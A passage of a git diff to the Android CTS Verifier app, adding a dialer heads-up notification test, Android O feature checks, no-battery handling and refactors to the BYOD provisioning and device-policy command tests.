+import android.widget.CompoundButton;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.voicemail.DefaultDialerChanger;
+import java.util.Observable;
+import java.util.Observer;
+
+/** Tests that a third party dialer can show a heads up notification on an incoming call. */
+public class DialerShowsHunOnIncomingCallActivity extends PassFailButtons.Activity
+    implements Observer {
+
+  private CheckBox mConfirmHunShown;
+  private DefaultDialerChanger mDefaultDialerChanger;
+
+  @Override
+  protected void onCreate(Bundle savedInstanceState) {
+    super.onCreate(savedInstanceState);
+
+    View view = getLayoutInflater().inflate(R.layout.dialer_hun_on_incoming, null);
+    setContentView(view);
+    setInfoResources(
+        R.string.dialer_shows_hun_test, R.string.dialer_shows_hun_test_instructions, -1);
+    setPassFailButtonClickListeners();
+    getPassButton().setEnabled(false);
+
+    mConfirmHunShown = findViewById(R.id.dialer_shows_hun_check_box);
+
+    mConfirmHunShown.setOnCheckedChangeListener(
+        (CompoundButton unusedButton, boolean unusedBoolean) -> onCheckedChangeListener());
+    DialerCallTestService.getObservable().addObserver(this);
+    mDefaultDialerChanger = new DefaultDialerChanger(this);
+  }
+
+  @Override
+  public void update(Observable observable, Object data) {
+    if (DialerCallTestService.getObservable().getOnIncoming()) {
+      NotificationManager notificationManager =
+          (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+
+      String id = "dialer_hun_test";
+      NotificationChannel channel =
+          new NotificationChannel(id, "incoming_call", NotificationManager.IMPORTANCE_MAX);
+      channel.enableLights(true);
+      channel.enableVibration(true);
+      channel.setShowBadge(false);
+      notificationManager.createNotificationChannel(channel);
+
+      Notification notification =
+          new Notification.Builder(DialerShowsHunOnIncomingCallActivity.this)
+              .setContentTitle(getResources().getString(R.string.dialer_incoming_call_hun_teaser))
+              .setContentText(getResources().getString(R.string.dialer_incoming_call_hun_desc))
+              .setSmallIcon(R.drawable.fs_good)
+              .setChannelId(id)
+              .build();
+
+      int notifyID = 1;
+      notificationManager.notify(notifyID, notification);
+    }
+  }
+
+  private void onCheckedChangeListener() {
+    mDefaultDialerChanger.setRestorePending(true);
+    if (mConfirmHunShown.isChecked()) {
+      getPassButton().setEnabled(true);
+    } else {
+      getPassButton().setEnabled(false);
+    }
+  }
+
+  @Override
+  protected void onDestroy() {
+    mDefaultDialerChanger.destroy();
+    DialerCallTestService.getObservable().deleteObserver(this);
+    super.onDestroy();
+  }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
index fe7d926..395eac0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
@@ -250,6 +250,20 @@
             new Feature("android.software.file_based_encryption", false),
     };
 
+    public static final Feature[] ALL_O_FEATURES = {
+            new Feature(PackageManager.FEATURE_VULKAN_HARDWARE_COMPUTE, false),
+            // FEATURE_TELEPHONY_CARRIERLOCK is SystemApi
+            new Feature("android.hardware.telephony.carrierlock", false),
+            new Feature(PackageManager.FEATURE_WIFI_AWARE, false),
+            new Feature(PackageManager.FEATURE_EMBEDDED, false),
+            new Feature(PackageManager.FEATURE_COMPANION_DEVICE_SETUP, false),
+            new Feature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS, false),
+            new Feature(PackageManager.FEATURE_VR_HEADTRACKING, false),
+            // FEATURE_CTS is hide
+            new Feature("android.software.cts", false),
+            new Feature(PackageManager.FEATURE_WIFI_AWARE, false),
+    };
+
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -281,6 +295,9 @@
 
         // add features from latest to last so that the latest requirements are put in the set first
         int apiVersion = Build.VERSION.SDK_INT;
+        if (apiVersion >= Build.VERSION_CODES.O) {
+            Collections.addAll(features, ALL_O_FEATURES);
+        }
         if (apiVersion >= Build.VERSION_CODES.N) {
             Collections.addAll(features, ALL_NYC_FEATURES);
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/jobscheduler/ChargingConstraintTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/jobscheduler/ChargingConstraintTestActivity.java
index 4b70b89..f2908b4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/jobscheduler/ChargingConstraintTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/jobscheduler/ChargingConstraintTestActivity.java
@@ -66,6 +66,14 @@
             mStartButton.setEnabled(true);
         }
 
+        if (!deviceHasBattery()) {
+            // This device has hardwired power, so do not prompt about connecting
+            // or disconnecting the charger, and ignore the "no power" test.
+            findViewById(R.id.charger_prompt).setVisibility(View.GONE);
+            findViewById(R.id.unplug_prompt).setVisibility(View.GONE);
+            findViewById(R.id.unplug_test_description).setVisibility(View.GONE);
+        }
+
         hideWaitingForStableChargingViews();
 
         mTestState = STATE_NOT_RUNNING;
@@ -88,6 +96,12 @@
         unregisterReceiver(mChargingChangedReceiver);
     }
 
+    private boolean deviceHasBattery() {
+        final Intent batteryInfo = registerReceiver(null,
+                new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+        return batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+    }
+
     private boolean isDevicePluggedIn() {
         IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
         Intent batteryStatus = registerReceiver(null, ifilter);
@@ -117,8 +131,11 @@
                     new TestDevicePluggedInConstraint().execute();
                 }
             } else if (BatteryManager.ACTION_DISCHARGING.equals(intent.getAction())) {
-                if (mTestState == STATE_ON_CHARGING_TEST_PASSED) {
-                    new TestDeviceUnpluggedConstraint().execute();
+                // ignore this [spurious!] broadcast on non-battery devices
+                if (deviceHasBattery()) {
+                    if (mTestState == STATE_ON_CHARGING_TEST_PASSED) {
+                        new TestDeviceUnpluggedConstraint().execute();
+                    }
                 }
             } else if (Intent.ACTION_POWER_CONNECTED.equals(intent.getAction())) {
                 if (mTestState == STATE_WAITING_TO_START_ON_CHARGING_TEST) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
new file mode 100644
index 0000000..1ba925c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
@@ -0,0 +1,15 @@
+package com.android.cts.verifier.location;
+
+import com.android.cts.verifier.location.base.GnssCtsTestActivity;
+import android.location.cts.GnssTtffTests;
+
+/**
+ * Activity to execute CTS GnssStatusTest.
+ * It is a wrapper for {@link GnssTtffTests} running with AndroidJUnitRunner.
+ */
+
+public class GnssTtffTestsActivity extends GnssCtsTestActivity {
+  public GnssTtffTestsActivity() {
+    super(GnssTtffTests.class);
+  }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index 79f364d..570c19e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -63,6 +63,7 @@
 
     private ComponentName mAdminReceiverComponent;
     private KeyguardManager mKeyguardManager;
+    private ByodFlowTestHelper mByodFlowTestHelper;
 
     private DialogTestListItem mProfileOwnerInstalled;
     private DialogTestListItem mDiskEncryptionTest;
@@ -100,6 +101,7 @@
     private DialogTestListItem mConfirmWorkCredentials;
     private DialogTestListItem mParentProfilePassword;
     private TestListItem mVpnTest;
+    private TestListItem mRecentsTest;
     private TestListItem mDisallowAppsControlTest;
     private TestListItem mOrganizationInfoTest;
     private TestListItem mPolicyTransparencyTest;
@@ -114,15 +116,18 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+        mByodFlowTestHelper = new ByodFlowTestHelper(this);
         mAdminReceiverComponent = new ComponentName(this, DeviceAdminTestReceiver.class.getName());
         mKeyguardManager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
 
-        enableComponent(PackageManager.COMPONENT_ENABLED_STATE_DISABLED);
+        mByodFlowTestHelper.setup();
+
         mPrepareTestButton.setText(R.string.provisioning_byod_start);
         mPrepareTestButton.setOnClickListener(new OnClickListener() {
             @Override
             public void onClick(View v) {
-                startByodProvisioning();
+                Utils.provisionManagedProfile(ByodFlowTestActivity.this, mAdminReceiverComponent,
+                        REQUEST_MANAGED_PROVISIONING);
             }
         });
 
@@ -186,8 +191,7 @@
     public void finish() {
         // Pass and fail buttons are known to call finish() when clicked, and this is when we want to
         // clean up the provisioned profile.
-        Utils.requestDeleteManagedProfile(this);
-        enableComponent(PackageManager.COMPONENT_ENABLED_STATE_DEFAULT);
+        mByodFlowTestHelper.tearDown();
         super.finish();
     }
 
@@ -377,7 +381,6 @@
                 R.string.profile_owner_permission_lockdown_test_info,
                 permissionCheckIntent);
 
-        /* Disable due to b/33571768
         mSelectWorkChallenge = new DialogTestListItem(this,
                 R.string.provisioning_byod_select_work_challenge,
                 "BYOD_SelectWorkChallenge",
@@ -389,7 +392,12 @@
                 "BYOD_ConfirmWorkCredentials",
                 R.string.provisioning_byod_confirm_work_credentials_description,
                 new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
-        */
+
+        mRecentsTest = TestListItem.newTest(this,
+                R.string.provisioning_byod_recents,
+                RecentsRedactionActivity.class.getName(),
+                new Intent(RecentsRedactionActivity.ACTION_RECENTS),
+                null);
 
         mOrganizationInfoTest = TestListItem.newTest(this,
                 R.string.provisioning_byod_organization_info,
@@ -406,7 +414,8 @@
         final Intent policyTransparencyTestIntent = new Intent(this,
                 PolicyTransparencyTestListActivity.class);
         policyTransparencyTestIntent.putExtra(
-                PolicyTransparencyTestListActivity.EXTRA_IS_DEVICE_OWNER, false);
+                PolicyTransparencyTestListActivity.EXTRA_MODE,
+                PolicyTransparencyTestListActivity.MODE_PROFILE_OWNER);
         policyTransparencyTestIntent.putExtra(
                 PolicyTransparencyTestActivity.EXTRA_TEST_ID, "BYOD_PolicyTransparency");
         mPolicyTransparencyTest = TestListItem.newTest(this,
@@ -444,10 +453,9 @@
         adapter.add(mAuthenticationBoundKeyTest);
         adapter.add(mVpnTest);
         adapter.add(mTurnOffWorkFeaturesTest);
-        /* Disable due to b/33571768
         adapter.add(mSelectWorkChallenge);
         adapter.add(mConfirmWorkCredentials);
-        */
+        adapter.add(mRecentsTest);
         adapter.add(mOrganizationInfoTest);
         adapter.add(mParentProfilePassword);
         adapter.add(mPolicyTransparencyTest);
@@ -609,18 +617,6 @@
         }
     }
 
-    private void startByodProvisioning() {
-        Intent sending = new Intent(DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE);
-        sending.putExtra(DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
-                mAdminReceiverComponent);
-
-        if (sending.resolveActivity(getPackageManager()) != null) {
-            startActivityForResult(sending, REQUEST_MANAGED_PROVISIONING);
-        } else {
-            showToast(R.string.provisioning_byod_disabled);
-        }
-    }
-
     private void queryProfileOwner(boolean showToast) {
         try {
             Intent intent = new Intent(ByodHelperActivity.ACTION_QUERY_PROFILE_OWNER);
@@ -630,7 +626,7 @@
             Log.d(TAG, "queryProfileOwner: ActivityNotFoundException", e);
             setTestResult(mProfileOwnerInstalled, TestResult.TEST_RESULT_FAILED);
             if (showToast) {
-                showToast(R.string.provisioning_byod_no_activity);
+                Utils.showToast(this, R.string.provisioning_byod_no_activity);
             }
         }
     }
@@ -642,7 +638,7 @@
         } catch (ActivityNotFoundException e) {
             Log.d(TAG, "checkDiskEncryption: ActivityNotFoundException", e);
             setTestResult(mDiskEncryptionTest, TestResult.TEST_RESULT_FAILED);
-            showToast(R.string.provisioning_byod_no_activity);
+            Utils.showToast(this, R.string.provisioning_byod_no_activity);
         }
     }
 
@@ -701,7 +697,7 @@
             setHandleIntentActivityEnabledSetting(PackageManager.COMPONENT_ENABLED_STATE_DISABLED);
             Log.d(TAG, "checkIntentFilters: ActivityNotFoundException", e);
             setTestResult(mIntentFiltersTest, TestResult.TEST_RESULT_FAILED);
-            showToast(R.string.provisioning_byod_no_activity);
+            Utils.showToast(this, R.string.provisioning_byod_no_activity);
         }
     }
 
@@ -723,28 +719,6 @@
                 intentFiltersSet ? TestResult.TEST_RESULT_PASSED : TestResult.TEST_RESULT_FAILED);
     }
 
-    /**
-     *  Disable or enable app components in the current profile. When they are disabled only the
-     * counterpart in the other profile can respond (via cross-profile intent filter).
-     * @param enabledState {@link PackageManager#COMPONENT_ENABLED_STATE_DISABLED} or
-     *                      {@link PackageManager#COMPONENT_ENABLED_STATE_DEFAULT}
-     */
-    private void enableComponent(final int enabledState) {
-        final String[] components = {
-            ByodHelperActivity.class.getName(),
-            WorkStatusTestActivity.class.getName(),
-            PermissionLockdownTestActivity.ACTIVITY_ALIAS,
-            AuthenticationBoundKeyTestActivity.class.getName(),
-            VpnTestActivity.class.getName(),
-            CommandReceiverActivity.class.getName(),
-            SetSupportMessageActivity.class.getName()
-        };
-        for (String component : components) {
-            getPackageManager().setComponentEnabledSetting(new ComponentName(this, component),
-                    enabledState, PackageManager.DONT_KILL_APP);
-        }
-    }
-
     private void setHandleIntentActivityEnabledSetting(final int enableState) {
         getPackageManager().setComponentEnabledSetting(
             new ComponentName(ByodFlowTestActivity.this, HandleIntentActivity.class.getName()),
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
new file mode 100644
index 0000000..d1308ad
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
@@ -0,0 +1,51 @@
+package com.android.cts.verifier.managedprovisioning;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+public class ByodFlowTestHelper {
+    private Context mContext;
+    private PackageManager mPackageManager;
+
+    public ByodFlowTestHelper(Context context) {
+        this.mContext = context;
+        this.mPackageManager = mContext.getPackageManager();
+    }
+
+    public void setup() {
+        setComponentsEnabledState(PackageManager.COMPONENT_ENABLED_STATE_DISABLED);
+    }
+
+    /**
+     * Clean up things. This has to be working even it is called multiple times.
+     */
+    public void tearDown() {
+        Utils.requestDeleteManagedProfile(mContext);
+        setComponentsEnabledState(PackageManager.COMPONENT_ENABLED_STATE_DEFAULT);
+    }
+
+    /**
+     * Disable or enable app components in the current profile. When they are disabled only the
+     * counterpart in the other profile can respond (via cross-profile intent filter).
+     *
+     * @param enabledState {@link PackageManager#COMPONENT_ENABLED_STATE_DISABLED} or
+     *                     {@link PackageManager#COMPONENT_ENABLED_STATE_DEFAULT}
+     */
+    private void setComponentsEnabledState(final int enabledState) {
+        final String[] components = {
+                ByodHelperActivity.class.getName(),
+                WorkStatusTestActivity.class.getName(),
+                PermissionLockdownTestActivity.ACTIVITY_ALIAS,
+                AuthenticationBoundKeyTestActivity.class.getName(),
+                VpnTestActivity.class.getName(),
+                RecentsRedactionActivity.class.getName(),
+                CommandReceiverActivity.class.getName(),
+                SetSupportMessageActivity.class.getName()
+        };
+        for (String component : components) {
+            mPackageManager.setComponentEnabledSetting(new ComponentName(mContext, component),
+                    enabledState, PackageManager.DONT_KILL_APP);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index c8eace5..e9b6523 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -16,35 +16,25 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
-import android.app.Activity;
+import static android.os.UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES;
+
+import android.app.NotificationChannel;
 import android.app.admin.DevicePolicyManager;
-import android.app.Dialog;
 import android.app.KeyguardManager;
 import android.app.Notification;
 import android.app.NotificationManager;
-import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.graphics.Color;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
 import android.net.Uri;
 import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
 import android.os.UserManager;
 import android.provider.MediaStore;
-import android.provider.Settings;
 import android.support.v4.content.FileProvider;
 import android.support.v4.util.Pair;
 import android.util.Log;
-import android.widget.Toast;
-
-import static android.provider.Settings.Secure.INSTALL_NON_MARKET_APPS;
 
 import java.io.File;
 import java.util.ArrayList;
@@ -102,7 +92,7 @@
 
     // Primary -> managed intent: set unknown sources restriction and install package
     public static final String ACTION_INSTALL_APK = "com.android.cts.verifier.managedprovisioning.BYOD_INSTALL_APK";
-    public static final String EXTRA_ALLOW_NON_MARKET_APPS = INSTALL_NON_MARKET_APPS;
+    public static final String EXTRA_ALLOW_NON_MARKET_APPS = "allow_non_market_apps";
 
     // Primary -> managed intent: check if the required cross profile intent filters are set.
     public static final String ACTION_CHECK_INTENT_FILTERS =
@@ -162,12 +152,13 @@
     private static final int REQUEST_AUDIO_CAPTURE = 6;
     private static final int REQUEST_LOCATION_UPDATE = 7;
 
-    private static final String ORIGINAL_SETTINGS_NAME = "original settings";
+    private static final String ORIGINAL_RESTRICTIONS_NAME = "original restrictions";
 
     private static final int NOTIFICATION_ID = 7;
+    private static final String NOTIFICATION_CHANNEL_ID = TAG;
 
     private NotificationManager mNotificationManager;
-    private Bundle mOriginalSettings;
+    private Bundle mOriginalRestrictions;
 
     private ComponentName mAdminReceiverComponent;
     private DevicePolicyManager mDevicePolicyManager;
@@ -179,7 +170,7 @@
     private ArrayList<File> mTempFiles = new ArrayList<File>();
 
     private void showNotification(int visibility) {
-        final Notification notification = new Notification.Builder(this)
+        final Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
                 .setSmallIcon(R.drawable.icon)
                 .setContentTitle(getString(R.string.provisioning_byod_notification_title))
                 .setContentText(getString(R.string.provisioning_byod_notification_title))
@@ -195,9 +186,9 @@
         super.onCreate(savedInstanceState);
         if (savedInstanceState != null) {
             Log.w(TAG, "Restored state");
-            mOriginalSettings = savedInstanceState.getBundle(ORIGINAL_SETTINGS_NAME);
+            mOriginalRestrictions = savedInstanceState.getBundle(ORIGINAL_RESTRICTIONS_NAME);
         } else {
-            mOriginalSettings = new Bundle();
+            mOriginalRestrictions = new Bundle();
         }
 
         mAdminReceiverComponent = new ComponentName(this, DeviceAdminTestReceiver.class.getName());
@@ -207,6 +198,9 @@
         Intent intent = getIntent();
         String action = intent.getAction();
         Log.d(TAG, "ByodHelperActivity.onCreate: " + action);
+        mNotificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_DEFAULT));
 
         // we are explicitly started by {@link DeviceAdminTestReceiver} after a successful provisioning.
         if (action.equals(ACTION_PROFILE_PROVISIONED)) {
@@ -234,11 +228,12 @@
             setResult(RESULT_OK, response);
         } else if (action.equals(ACTION_INSTALL_APK)) {
             boolean allowNonMarket = intent.getBooleanExtra(EXTRA_ALLOW_NON_MARKET_APPS, false);
-            boolean wasAllowed = getAllowNonMarket();
+            boolean wasAllowed = !isUnknownSourcesRestrictionSet();
 
-            // Update permission to install non-market apps
-            setAllowNonMarket(allowNonMarket);
-            mOriginalSettings.putBoolean(INSTALL_NON_MARKET_APPS, wasAllowed);
+            if (wasAllowed != allowNonMarket) {
+                setUnknownSourcesRestriction(!allowNonMarket);
+                mOriginalRestrictions.putBoolean(DISALLOW_INSTALL_UNKNOWN_SOURCES, !wasAllowed);
+            }
 
             // Request to install a non-market application- easiest way is to reinstall ourself
             final Intent installIntent = new Intent(Intent.ACTION_INSTALL_PACKAGE)
@@ -378,7 +373,7 @@
     protected void onSaveInstanceState(final Bundle savedState) {
         super.onSaveInstanceState(savedState);
 
-        savedState.putBundle(ORIGINAL_SETTINGS_NAME, mOriginalSettings);
+        savedState.putBundle(ORIGINAL_RESTRICTIONS_NAME, mOriginalRestrictions);
     }
 
     @Override
@@ -386,10 +381,11 @@
         switch (requestCode) {
             case REQUEST_INSTALL_PACKAGE: {
                 Log.w(TAG, "Received REQUEST_INSTALL_PACKAGE, resultCode = " + resultCode);
-                if (mOriginalSettings.containsKey(INSTALL_NON_MARKET_APPS)) {
+                if (mOriginalRestrictions.containsKey(DISALLOW_INSTALL_UNKNOWN_SOURCES)) {
                     // Restore original setting
-                    setAllowNonMarket(mOriginalSettings.getBoolean(INSTALL_NON_MARKET_APPS));
-                    mOriginalSettings.remove(INSTALL_NON_MARKET_APPS);
+                    setUnknownSourcesRestriction(
+                            mOriginalRestrictions.getBoolean(DISALLOW_INSTALL_UNKNOWN_SOURCES));
+                    mOriginalRestrictions.remove(DISALLOW_INSTALL_UNKNOWN_SOURCES);
                 }
                 finish();
                 break;
@@ -483,14 +479,21 @@
                 mDevicePolicyManager.isProfileOwnerApp(mAdminReceiverComponent.getPackageName());
     }
 
-    private boolean getAllowNonMarket() {
-        String value = Settings.Secure.getString(getContentResolver(), INSTALL_NON_MARKET_APPS);
-        return "1".equals(value);
+    private boolean isUnknownSourcesRestrictionSet() {
+        // We only care about restrictions set by Cts Verifier. In other cases, we cannot modify
+        // it and the test will fail anyway.
+        Bundle restrictions = mDevicePolicyManager.getUserRestrictions(mAdminReceiverComponent);
+        return restrictions.getBoolean(DISALLOW_INSTALL_UNKNOWN_SOURCES, false);
     }
 
-    private void setAllowNonMarket(boolean allow) {
-        mDevicePolicyManager.setSecureSetting(mAdminReceiverComponent, INSTALL_NON_MARKET_APPS,
-                (allow ? "1" : "0"));
+    private void setUnknownSourcesRestriction(boolean enabled) {
+        if (enabled) {
+            mDevicePolicyManager.addUserRestriction(mAdminReceiverComponent,
+                    DISALLOW_INSTALL_UNKNOWN_SOURCES);
+        } else {
+            mDevicePolicyManager.clearUserRestriction(mAdminReceiverComponent,
+                    DISALLOW_INSTALL_UNKNOWN_SOURCES);
+        }
     }
 
     private void startActivityInPrimary(Intent intent) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java
index dfbbb31..8f4b9ac 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java
@@ -23,6 +23,7 @@
 import android.graphics.Color;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.PersistableBundle;
 
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
@@ -44,14 +45,14 @@
                         R.string.provisioning_tests_byod_custom_color,
                         R.string.provisioning_tests_byod_custom_color_info,
                         new ButtonInfo(R.string.go_button_text, colorIntent)));
-        Uri logoUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://" + getPackageName()
-                + "/" + R.drawable.icon);
-        Intent imageIntent = new Intent(this, ProvisioningStartingActivity.class)
-                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_LOGO_URI, logoUri);
         adapter.add(Utils.createInteractiveTestItem(this, "BYOD_CustomImage",
                         R.string.provisioning_tests_byod_custom_image,
                         R.string.provisioning_tests_byod_custom_image_info,
-                        new ButtonInfo(R.string.go_button_text, imageIntent)));
+                        new ButtonInfo(R.string.go_button_text, getTestLogoIntent())));
+        adapter.add(Utils.createInteractiveTestItem(this, "BYOD_CustomTerms",
+                R.string.provisioning_tests_byod_custom_terms,
+                R.string.provisioning_tests_byod_custom_terms_instructions,
+                new ButtonInfo(R.string.go_button_text, getTestTermsIntent())));
 
         setTestListAdapter(adapter);
     }
@@ -76,9 +77,42 @@
             provisioningIntent.putExtras(getIntent().getExtras());
             provisioningIntent.putExtra(
                     DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
-                    new ComponentName(this, DeviceAdminTestReceiver.class.getName()));
+                    new ComponentName(this, DeviceAdminTestReceiver.class));
             startActivityForResult(provisioningIntent, 0);
             finish();
         }
     }
+
+    private Intent getTestTermsIntent() {
+        Bundle bundle = new Bundle();
+        bundle.putString(DevicePolicyManager.EXTRA_PROVISIONING_DISCLAIMER_HEADER,
+                getString(R.string.provisioning_tests_byod_custom_term_header1));
+        bundle.putParcelable(DevicePolicyManager.EXTRA_PROVISIONING_DISCLAIMER_CONTENT,
+                getResourceUri(R.raw.company_terms_content));
+
+        return new Intent(this, ProvisioningStartingActivity.class)
+                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_DISCLAIMERS,
+                        new Bundle[] { bundle });
+    }
+
+    /**
+     * Create intent with uri and wiping the work profile immediately after provisioning
+     */
+    private Intent getTestLogoIntent() {
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(DeviceAdminTestReceiver.KEY_BUNDLE_WIPE_IMMEDIATELY, true);
+        return new Intent(this, ProvisioningStartingActivity.class)
+                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_LOGO_URI,
+                        getResourceUri(R.drawable.icon))
+                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
+                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE, bundle);
+    }
+
+    private Uri getResourceUri(int resId) {
+        return new Uri.Builder().scheme(ContentResolver.SCHEME_ANDROID_RESOURCE)
+                .authority(getPackageName())
+                .appendPath(getResources().getResourceTypeName(resId))
+                .appendPath(getResources().getResourceEntryName(resId))
+                .build();
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index cf8ec89..6f98241 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -16,20 +16,35 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
+import android.Manifest;
 import android.app.Activity;
+import android.app.PendingIntent;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
 import android.graphics.BitmapFactory;
+import android.net.ProxyInfo;
 import android.os.Bundle;
+import android.os.UserHandle;
 import android.os.UserManager;
+import android.provider.ContactsContract;
+import android.provider.MediaStore;
+import android.provider.Settings;
 import android.util.Log;
 
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.managedprovisioning.Utils;
 
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
 import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.TimeUnit;
 
 public class CommandReceiverActivity extends Activity {
@@ -55,11 +70,36 @@
             "allow-only-system-input-methods";
     public static final String COMMAND_ALLOW_ONLY_SYSTEM_ACCESSIBILITY_SERVICES =
             "allow-only-system-accessibility-services";
-    public static final String COMMAND_DEVICE_OWNER_CLEAR_POLICIES = "do-clear-policies";
-    public static final String COMMAND_PROFILE_OWNER_CLEAR_POLICIES = "po-clear-policies";
+    public static final String COMMAND_CLEAR_POLICIES = "clear-policies";
     public static final String COMMAND_REMOVE_DEVICE_OWNER = "remove-device-owner";
     public static final String COMMAND_REQUEST_BUGREPORT = "request-bugreport";
     public static final String COMMAND_SET_USER_ICON = "set-user-icon";
+    public static final String COMMAND_RETRIEVE_NETWORK_LOGS = "retrieve-network-logs";
+    public static final String COMMAND_RETRIEVE_SECURITY_LOGS = "retrieve-security-logs";
+    public static final String COMMAND_SET_ORGANIZATION_NAME = "set-organization-name";
+    public static final String COMMAND_ENABLE_NETWORK_LOGGING = "enable-network-logging";
+    public static final String COMMAND_DISABLE_NETWORK_LOGGING = "disable-network-logging";
+    public static final String COMMAND_INSTALL_HELPER_PACKAGE = "install-helper-package";
+    public static final String COMMAND_UNINSTALL_HELPER_PACKAGE = "uninstall-helper-package";
+    public static final String COMMAND_SET_PERMISSION_GRANT_STATE = "set-permission-grant-state";
+    public static final String COMMAND_ADD_PERSISTENT_PREFERRED_ACTIVITIES =
+            "add-persistent-preferred-activities";
+    public static final String COMMAND_CLEAR_PERSISTENT_PREFERRED_ACTIVITIES =
+            "clear-persistent-preferred-activities";
+    public static final String COMMAND_CREATE_MANAGED_PROFILE = "create-managed-profile";
+    public static final String COMMAND_REMOVE_MANAGED_PROFILE = "remove-managed-profile";
+    public static final String COMMAND_SET_ALWAYS_ON_VPN = "set-always-on-vpn";
+    public static final String COMMAND_CLEAR_ALWAYS_ON_VPN = "clear-always-on-vpn";
+    public static final String COMMAND_SET_GLOBAL_HTTP_PROXY = "set-global-http-proxy";
+    public static final String COMMAND_CLEAR_GLOBAL_HTTP_PROXY = "clear-global-http-proxy";
+    public static final String COMMAND_INSTALL_CA_CERT = "install-ca-cert";
+    public static final String COMMAND_CLEAR_CA_CERT = "clear-ca-cert";
